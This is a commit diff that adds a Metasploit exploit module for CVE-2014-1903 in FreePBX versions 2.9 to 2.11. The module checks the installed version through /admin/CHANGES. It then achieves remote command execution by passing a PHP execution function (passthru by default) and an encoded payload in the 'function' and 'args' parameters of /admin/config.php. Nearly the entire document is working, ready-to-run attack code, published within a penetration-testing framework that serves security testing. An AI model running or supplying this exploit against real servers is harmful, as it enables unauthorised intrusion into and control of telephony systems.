Land rapid7#3131, @xistence's exploit for CVE-2014-1903

Author: jvazquez-r7

modules/exploits/unix/webapp/freepbx_config_exec.rb

@@ -0,0 +1,103 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "FreePBX config.php Remote Code Execution",
+      'Description'    => %q{
+        This module exploits a vulnerability found in FreePBX version 2.9, 2.10, 2.11.
+        It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
+        parameters "function" and "args".
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'i-Hmx', # Vulnerability discovery
+          '0x00string', # PoC
+          'xistence <xistence[at]0x90.nl>' # Metasploit module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2014-1903'],
+          ['OSVDB', '103240'],
+          ['EDB', '32214'],
+          ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
+        ],
+      'Platform'       => 'unix',
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['FreePBX', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Mar 21 2014",
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
+        ], self.class)
+
+      register_advanced_options(
+        [
+          OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
+        ], self.class)
+  end
+
+
+  def check
+    vprint_status("#{peer} - Trying to detect installed version")
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path, "admin", "CHANGES")
+    })
+
+    if res and res.code == 200 and res.body =~ /^(.*)$/
+      version = $1
+    else
+      return Exploit::CheckCode::Unknown
+    end
+
+    vprint_status("#{peer} - Version #{version} detected")
+
+    if version =~ /2\.(9|10|11)\.0/
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    rand_data = rand_text_alpha_lower(rand(10) + 5)
+
+    print_status("#{peer} - Sending payload")
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path, "admin", "config.php"),
+      'vars_get' => {
+        "display" => rand_data,
+        "handler" => "api",
+        "function" => datastore['PHPFUNC'],
+        "args" => payload.encoded
+      }
+    })
+
+    # If we don't get a 200 when we request our malicious payload, we suspect
+    # we don't have a shell, either.
+    if res and res.code != 200
+      print_error("#{peer} - Unexpected response, exploit probably failed!")
+    end
+
+  end
+
+end